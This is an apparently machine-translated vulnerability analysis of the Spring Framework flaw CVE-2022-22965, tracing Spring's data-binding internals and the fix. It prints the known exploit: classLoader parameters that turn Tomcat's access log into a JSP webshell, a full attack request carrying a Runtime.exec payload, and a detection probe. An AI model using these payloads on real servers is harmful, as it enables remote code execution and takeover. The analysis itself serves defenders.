This article is shared by Xuuuu in CVE-2022-22965 Vulnerability Analysis in Huawei cloud community.
CVE-2022-22965
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Environment set up
VulEnv/ Springboot/CVE-2022-22965 at Master · XuCcc/VulEnv
Front knowledge
JavaBean
A typical Bean object is as follows
class UserInfo { private int age; public int getAge() { return age; } public void setAge(int age) { this.age = age; }}Copy the code
Classes that define attributes through private and read and write through public getXyz/setXyz are called JavaBean [^1]
Introspector
Java.beans. Introspector [^2] provides a standard set of methods to access properties, methods, and events in Javabeans, searching the Bean itself and all the way up to the parent class for information. Such as through Java. Beans. PropertyDescriptor to retrieve attributes relevant information (name/getter/setter /…).
public static void main(String args[]) throws IntrospectionException { BeanInfo info = Introspector.getBeanInfo(UserInfo.class); PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors(); for (PropertyDescriptor propertyDescriptor : propertyDescriptors) { System.out.println(propertyDescriptor); System.out.println("================================================="); } } // java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)] // ================================================= // java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()] // = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =Copy the code
Assignment can also be done by introspection
UserInfo user = new UserInfo();
System.out.println("age: " + user.getAge());
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();
pd.getWriteMethod().invoke(user, 18);
System.out.println("age: " + user.getAge());
// age: 0
// age: 18
Copy the code
Spring BeanWrapperImpl
Provides a simple SET of apis for JavaBean operations, as well as advanced features (nesting properties, bulk reads and writes, and so on)
public class User {
private String name;
private UserInfo info;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public UserInfo getInfo() {
return info;
}
public void setInfo(UserInfo info) {
this.info = info;
}
public static void main(String args[]) {
User user = new User();
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);
bw.setAutoGrowNestedPaths(true);
bw.setPropertyValue("name", "wang");
bw.setPropertyValue("info.age", 18);
System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());
}
}
// wang is 18
Copy the code
Analyze the call logic at setPropertyValue(” name “, “Wang”) to get a general idea of the process
org.springframework.beans.AbstractNestablePropertyAccessor[^3]
- Call getPropertyAccessorForPropertyPath method get nested by getter properties
- Nested getPropertyAccessorForPropertyPath exists
A.B.C
Property, loops through the getter value
- Nested getPropertyAccessorForPropertyPath exists
- Call the setPropertyValue method to set the property through the setter
- ProcessKeyedProperty set Array/List… object
- ProcessLocalProperty sets the simple Bean object
- GetLocalPropertyHandler gets the property descriptor
- GetCachedIntrospectionResults PropertyDescriptor was obtained from the cache
- CachedIntrospectionResults# forClass create cache for the current Bean
- …
- GetCachedIntrospectionResults PropertyDescriptor was obtained from the cache
- SetValue is assigned by calling the setter through reflection
- GetLocalPropertyHandler gets the property descriptor
Spring data bind
Take the following Controller as an example to trace the spring parameter binding process
@GetMapping("/")
public String info(User user) {
return String.format("%s is %d", user.getName(), user.getInfo().getAge());
}
Copy the code
- The incoming HTTP requests after org. Springframework. Web. Servlet. DispatcherServlet# doDispatch processing, to find the corresponding Handler for processing
- Org. Springframework. Web. Method. Support. InvocableHandlerMethod# invokeForRequest parameter binding before the invocation Handler
- With the response of org. Springframework. Web. Method. Support. HandlerMethodArgumentResolver# resolveArgument to argument parsing, from
request
To obtain parameters. Here is org. Springframework. Web. Method. The annotation. ModelAttributeMethodProcessor# resolveArgument - Next to the org. Springframework. Validation. DataBinder# doBind, according to the JavaBean object for the assignment. So this is going to get a BeanWrapperImpl and assign it to setPropertyValues
- org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
- org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
Source code analysis
Official fixed this issue in 5.3.18, check out Comparing V5.3.17… V5.3.18, spring – the projects/spring – framework in place Org. Springframework. Beans. CachedIntrospectionResults# CachedIntrospectionResults has carried on the related changes, the strengthened a PropertyDescriptor related filtering. View related calls
- org.springframework.beans.CachedIntrospectionResults#forClass
- org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults
It is not hard to infer from the above that the BeanWrapperImpl called by Spring during parameter binding triggers this vulnerability during JavaBean operations.
<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...
Copy the code
Exp. Write
Because JDK9 new provides Java. Lang. The Module [^ 4) made in CachedIntrospectionResults# CachedIntrospectionResults can pass ClassLoader, so this hole is also a bypass of CVE-2010-1622[^5].
Circulating EXP is currently using Tomcat ParallelWebappClassLoader to modify the related properties of log in Tomcat [^ 6], to the log file is written to webshell command execution. For example, write CMD in the HTTP header to webapps/shell.jsp
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Copy the code
Send a message
GET /? class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resource s.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=w ebapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.reso Urces. Context. The parent. Pipeline. First. FileDateFormat = HTTP / 1.1 Host: 7.223.181.36:38888 Upgrade - Insecure - Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/avif, image/webp image/apng, * / *; Q = 0.8, application/signed - exchange; v=b3; Q =0.9 Accept-encoding: gzip, deflate Accept-language: zh-cn,zh; Q =0.9 Connection: close CMD: <%= Runtime.geTruntime ().exec(Request.getParameter (new String(new byte[]{97})))%>Copy the code
Can use shell.jsp? A = CMD to execute the command
For more details, see: Spring Framework RCE (CVE-2022-22965)
Patch repair
Spring enforces the judgment when obtaining the attribute descriptor, leaving only the name attribute.
if (Class.class == beanClass && (!" name".equals(pd.getName()) && ! pd.getName().endsWith("Name"))) { // Only allow all name variants of Class properties continue; } if (pd.getPropertyType() ! = null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType()) || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) { // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those continue; }Copy the code
Poc to write
The bug can be determined by incorrectly setting a property under classLoader to trigger a BindException that causes the server to return the exception, such as send
GET /? Class. The module. This. DefaultAssertionStatus HTTP / 1.1 = 123 Host: 127.0.0.1:39999 cache-control: Max-age =0 upgrade-insecure -Requests: 1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/avif, image/webp image/apng, * / *; Q = 0.8, application/signed - exchange; v=b3; Q =0.9 Accept-encoding: gzip, deflate Accept-language: zh-cn,zh; Q = 0.9 Connection: closeCopy the code
Server return
HTTP / 1.1 400 the content-type: text/HTML. charset=UTF-8 Content-Language: zh-CN Content-Length: 277 Date: Fri, 08 Apr 2022 03:49:42 GMT Connection: close <html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>Copy the code
Reference
- Spring Framework RCE, Early Announcement
- SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 – Microsoft Security Blog
- For SpringMVC parameter binding principle | technology driven life
- Spring Framework RCE vulnerability analysis | Gta1ta ‘s Blog
- CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations
Footnote
[^1]: JavaBeans – Wikipedia [^2]: Introspector (Java Platform SE 8 ) [^3]: AbstractNestablePropertyAccessor Spring properties into three (3) – binarylei – blog garden [^ 4] : the Module (Java SE 9 & JDK 9) [^ 5) : Analysis of Arbitrary Code Execution Vulnerability in SpringMVC Framework (CVE-2010-1622) – Ilin [^6]: Apache Tomcat 8 Configuration Reference (8.0.53) – The Valve Component
Huawei Cloud Vulnerability Scanning Service VSS Basic Edition free experience for a limited time >>>
Click to follow, the first time to learn about Huawei cloud fresh technology ~